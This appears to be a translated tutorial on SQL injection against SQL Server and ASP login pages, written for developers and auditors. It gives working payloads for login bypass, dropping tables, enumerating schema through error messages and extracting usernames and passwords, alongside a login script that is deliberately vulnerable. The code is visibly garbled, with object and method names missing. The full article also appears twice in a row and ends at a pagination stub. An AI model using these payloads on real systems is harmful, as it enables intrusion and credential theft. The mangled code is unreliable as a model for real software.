This article is for two types of readers: one is a database-based web program developer and a security expert who audits various web programs.
[introduce]
Structured Query Language (SQL) is a text language used to interact with databases. SQL languages are diverse. Most dialect versions jointly follow the SQL-92 standard (the latest ANSI standard [Translator's Note: the latest is SQL-99]). A typical operation for SQL operation is "query", which is a collection of statements that allow the database to return a "query result record set". SQL statements can modify the structure of the database (using the data definition language "DDL") and operating the data in the database (using the data operation language "DML"). Here we focus on Transact-SQL (Interactive SQL), a SQL dialect (non-standard SQL) applied to SQL-Server.
If an attacker can insert a series of SQL statements into the application's data query, an Sql injection attack may occur.
A typical SQL statement looks like this:
select id, forename, surname from authors
This query will return all rows of the 'id', 'forename' and 'surname' columns from the 'authors' table. The returned result set can also be restricted by a specific condition 'author':
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
Note that it is very important here that 'john' and 'smith' are enclosed in single quotes. Assuming that the 'forename' and 'surname' fields are input from the user, the attacker may SQL injection of this query by entering an illegal string:
Forename:jo'hn
Surname: smith
The query statement will become:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
When the database tries to execute this query, it returns an error like this:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
This is because the inserted single quotes destroy the data enclosed by the original single quotes, and the database fails when executing to 'hn'. If the attacker enters this way:
Forename: jo'; drop table authors--
Surname:
...The authors table will be deleted, and the reason will be explained later.
It seems that this problem can be solved by removing single quotes in strings entered by the user or by some method to avoid them appearing. That's true, but there are still many difficulties in implementing this solution. Because first: not all user-submitted data are in string form, for example, our user input selects a user through 'id' (it seems to be a number), our query might look like this:
select id,forename,surname from authors where id=1234
In this case, the attacker can easily add SQL statements after the numerical input. In other SQL dialects, various delimiters are used, such as the MS Jet DBMS engine, and dates can be separated by the '#' symbol.
Secondly, avoiding single quotes is not the necessary solution as we thought at the beginning, and the reasons discussed below.
We will use the Active Server Pages (ASP) login page as an example to illustrate in detail, which accesses a Sql-Server database and verifys access to our hypothetical program.
This is the form page where the user fills in the username and password:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
Here is the code for 'process_login.asp', which handles user login:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( ("debug") == "true" )
( str );
}
function Login( cn )
{
var username;
var password;
username = ("username");
password = ("password");
var rso = ("");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
( sql, cn );
if ()
{
();
%><FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% (rso("Username"));
( "</BODY></HTML>" );
}
}
function Main()
{
//Set up connection
var username
var cn = ( "" );
= 20;
( "localserver", "sa", "password" );
username = new String( ("username") );
if( > 0)
{
Login( cn );
}
();
}
Main();
%>
What is discussed here is the part of creating 'query string' in 'process_login.asp':
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
If the user specifies the following data:
Username: '; drop table users--
Password:
The 'users' table will be deleted and all users cannot log in. '--' is a one-line comment for Transact-SQL (Interactive SQL), ';' marks the end of one query and the beginning of another query. The last '-' of the username is used to make this special query end without error.
As long as an attacker knows the username, he can log in as any user through the following input:
Username: admin'--
An attacker can log in as the first user in the user table through the following input:
Username: ' or 1=1--
...What's more, an attacker can log in as an arbitrary fictitious user through the following input:
Username: ' union select 1, 'fictional_user', 'somoe_password', 1--
Because the program believes that the constant specified by the attacker is part of the record set returned by the database.
[Get information through error message]
This technology was first discovered by David Litchfield in a penetration invasion test. Later, David wrote an article about this technology, and many authors have referenced this work. Here we discuss the potential mechanisms of the "Error Message" technology so that readers can fully understand it and be flexibly applied.
In order to operate the data in the database, the attacker must determine the structure of a certain database. For example: Our "user" table is created using the following statement:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
And the following user is inserted:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
We assume that the attacker wants to insert a user for himself, and he cannot succeed without knowing the structure of the table. Even if he is lucky, the importance of the 'priv' field is not clear. The attacker may insert '1' and add a low-privileged user to the program, and his target is administrator's permissions.
Fortunately for the attacker: if the program returns an error (asp defaults to this), the attacker can guess the structure of the entire database and read any value that can be read within the account permissions of the ASP program connected to SQL-Server.
(The following is given using the example database and asp scripts provided above to illustrate how these techniques are implemented)
First, the attacker needs to determine the table name and field name of the query. To do this, an attacker can use the 'having' clause of the 'select' statement:
username: ' having 1=1 --
This will cause the following error (Translator's note: having sentence must be used with GROUP BY or aggregate function, otherwise an error will occur):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column '' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35
So the attacker knows the table name and the column name of the first column. They can continue to get other column names by adding the 'group by' clause to each column, as follows:
username: ' group by having 1=1 --
(The result is such an error)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ''
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35
Finally, the attacker got the following 'username':
' group by , , , having 1=1--
This sentence has no errors, which is equivalent to:
select * from users where username = ''
So the attacker knows that the query is only about the 'users' table, and uses the columns 'id, username, password, rpivs' in order.
It would be useful if an attacker could determine the data types of each column, and it could be used to achieve this using the type conversion error message, see the following example:
Username: ' union select sum(username) from users--
This takes advantage of SQL-Server's ability to execute the 'sum' clause before determining whether the two lines are the same. Calculating the sum of the text field returns such information:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
It tells us that the type of the 'username' field is 'varchar'. Conversely, if we try to calculate the numerical field, but the result is that the number of columns in the two rows does not match:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
We can use this technique to roughly determine the types of columns in the database.
This way the attacker can write a 'insert' statement with a perfect format:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
However, the potential of this technology goes beyond that. An attacker can use any error information to expose the system environment or database information. Execute the following statement to get a list of standard error messages:
select * from master..sysmessages
Checking this list reveals a lot of interesting information.
A particularly useful message about type conversion. If you try to convert a string into an integer, the content of the entire string will appear in the error message. Taking our login page example, using the following 'username' will return the version of SQL-Server and the version information of the operating system on which it is located:
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35
This attempts to convert the built-in constant '@@version' to an integer, because the first column of the 'users' table is an integer.
This technique can be used to read any content of any table in any database, and if an attacker is interested in the username and password, they can read the username from the 'users' table:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
This will select the smallest username larger than 'a' and try to convert it into an integer:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
The attacker knew that the 'admin' account existed, and he could now put the username he found into the 'where' clause to repeatedly test this line:
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
Once the attacker determines the username, he can collect passwords;
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
A more "chievement" technique is to concatenate the username and password into a separate character pass and then try to convert it into an integer. This will give another example; Transact-SQL statements can concatenate strings into one line without changing their meaning, and the following script will concatenate these values:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
[introduce]
Structured Query Language (SQL) is a text language used to interact with databases. SQL languages are diverse. Most dialect versions jointly follow the SQL-92 standard (the latest ANSI standard [Translator's Note: the latest is SQL-99]). A typical operation for SQL operation is "query", which is a collection of statements that allow the database to return a "query result record set". SQL statements can modify the structure of the database (using the data definition language "DDL") and operating the data in the database (using the data operation language "DML"). Here we focus on Transact-SQL (Interactive SQL), a SQL dialect (non-standard SQL) applied to SQL-Server.
If an attacker can insert a series of SQL statements into the application's data query, an Sql injection attack may occur.
A typical SQL statement looks like this:
select id, forename, surname from authors
This query will return all rows of the 'id', 'forename' and 'surname' columns from the 'authors' table. The returned result set can also be restricted by a specific condition 'author':
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
Note that it is very important here that 'john' and 'smith' are enclosed in single quotes. Assuming that the 'forename' and 'surname' fields are input from the user, the attacker may SQL injection of this query by entering an illegal string:
Forename:jo'hn
Surname: smith
The query statement will become:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
When the database tries to execute this query, it returns an error like this:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
This is because the inserted single quotes destroy the data enclosed by the original single quotes, and the database fails when executing to 'hn'. If the attacker enters this way:
Forename: jo'; drop table authors--
Surname:
...The authors table will be deleted, and the reason will be explained later.
It seems that this problem can be solved by removing single quotes in strings entered by the user or by some method to avoid them appearing. That's true, but there are still many difficulties in implementing this solution. Because first: not all user-submitted data are in string form, for example, our user input selects a user through 'id' (it seems to be a number), our query might look like this:
select id,forename,surname from authors where id=1234
In this case, the attacker can easily add SQL statements after the numerical input. In other SQL dialects, various delimiters are used, such as the MS Jet DBMS engine, and dates can be separated by the '#' symbol.
Secondly, avoiding single quotes is not the necessary solution as we thought at the beginning, and the reasons discussed below.
We will use the Active Server Pages (ASP) login page as an example to illustrate in detail, which accesses a Sql-Server database and verifys access to our hypothetical program.
This is the form page where the user fills in the username and password:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
Here is the code for 'process_login.asp', which handles user login:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( ("debug") == "true" )
( str );
}
function Login( cn )
{
var username;
var password;
username = ("username");
password = ("password");
var rso = ("");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
( sql, cn );
if ()
{
();
%><FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% (rso("Username"));
( "</BODY></HTML>" );
}
}
function Main()
{
//Set up connection
var username
var cn = ( "" );
= 20;
( "localserver", "sa", "password" );
username = new String( ("username") );
if( > 0)
{
Login( cn );
}
();
}
Main();
%>
What is discussed here is the part of creating 'query string' in 'process_login.asp':
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
If the user specifies the following data:
Username: '; drop table users--
Password:
The 'users' table will be deleted and all users cannot log in. '--' is a one-line comment for Transact-SQL (Interactive SQL), ';' marks the end of one query and the beginning of another query. The last '-' of the username is used to make this special query end without error.
As long as an attacker knows the username, he can log in as any user through the following input:
Username: admin'--
An attacker can log in as the first user in the user table through the following input:
Username: ' or 1=1--
...What's more, an attacker can log in as an arbitrary fictitious user through the following input:
Username: ' union select 1, 'fictional_user', 'somoe_password', 1--
Because the program believes that the constant specified by the attacker is part of the record set returned by the database.
[Get information through error message]
This technology was first discovered by David Litchfield in a penetration invasion test. Later, David wrote an article about this technology, and many authors have referenced this work. Here we discuss the potential mechanisms of the "Error Message" technology so that readers can fully understand it and be flexibly applied.
In order to operate the data in the database, the attacker must determine the structure of a certain database. For example: Our "user" table is created using the following statement:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
And the following user is inserted:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
We assume that the attacker wants to insert a user for himself, and he cannot succeed without knowing the structure of the table. Even if he is lucky, the importance of the 'priv' field is not clear. The attacker may insert '1' and add a low-privileged user to the program, and his target is administrator's permissions.
Fortunately for the attacker: if the program returns an error (asp defaults to this), the attacker can guess the structure of the entire database and read any value that can be read within the account permissions of the ASP program connected to SQL-Server.
(The following is given using the example database and asp scripts provided above to illustrate how these techniques are implemented)
First, the attacker needs to determine the table name and field name of the query. To do this, an attacker can use the 'having' clause of the 'select' statement:
username: ' having 1=1 --
This will cause the following error (Translator's note: having sentence must be used with GROUP BY or aggregate function, otherwise an error will occur):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column '' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35
So the attacker knows the table name and the column name of the first column. They can continue to get other column names by adding the 'group by' clause to each column, as follows:
username: ' group by having 1=1 --
(The result is such an error)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ''
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35
Finally, the attacker got the following 'username':
' group by , , , having 1=1--
This sentence has no errors, which is equivalent to:
select * from users where username = ''
So the attacker knows that the query is only about the 'users' table, and uses the columns 'id, username, password, rpivs' in order.
It would be useful if an attacker could determine the data types of each column, and it could be used to achieve this using the type conversion error message, see the following example:
Username: ' union select sum(username) from users--
This takes advantage of SQL-Server's ability to execute the 'sum' clause before determining whether the two lines are the same. Calculating the sum of the text field returns such information:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
It tells us that the type of the 'username' field is 'varchar'. Conversely, if we try to calculate the numerical field, but the result is that the number of columns in the two rows does not match:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
We can use this technique to roughly determine the types of columns in the database.
This way the attacker can write a 'insert' statement with a perfect format:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
However, the potential of this technology goes beyond that. An attacker can use any error information to expose the system environment or database information. Execute the following statement to get a list of standard error messages:
select * from master..sysmessages
Checking this list reveals a lot of interesting information.
A particularly useful message about type conversion. If you try to convert a string into an integer, the content of the entire string will appear in the error message. Taking our login page example, using the following 'username' will return the version of SQL-Server and the version information of the operating system on which it is located:
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35
This attempts to convert the built-in constant '@@version' to an integer, because the first column of the 'users' table is an integer.
This technique can be used to read any content of any table in any database, and if an attacker is interested in the username and password, they can read the username from the 'users' table:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
This will select the smallest username larger than 'a' and try to convert it into an integer:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
The attacker knew that the 'admin' account existed, and he could now put the username he found into the 'where' clause to repeatedly test this line:
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
Once the attacker determines the username, he can collect passwords;
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
A more "chievement" technique is to concatenate the username and password into a separate character pass and then try to convert it into an integer. This will give another example; Transact-SQL statements can concatenate strings into one line without changing their meaning, and the following script will concatenate these values:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
12Next pageRead the full text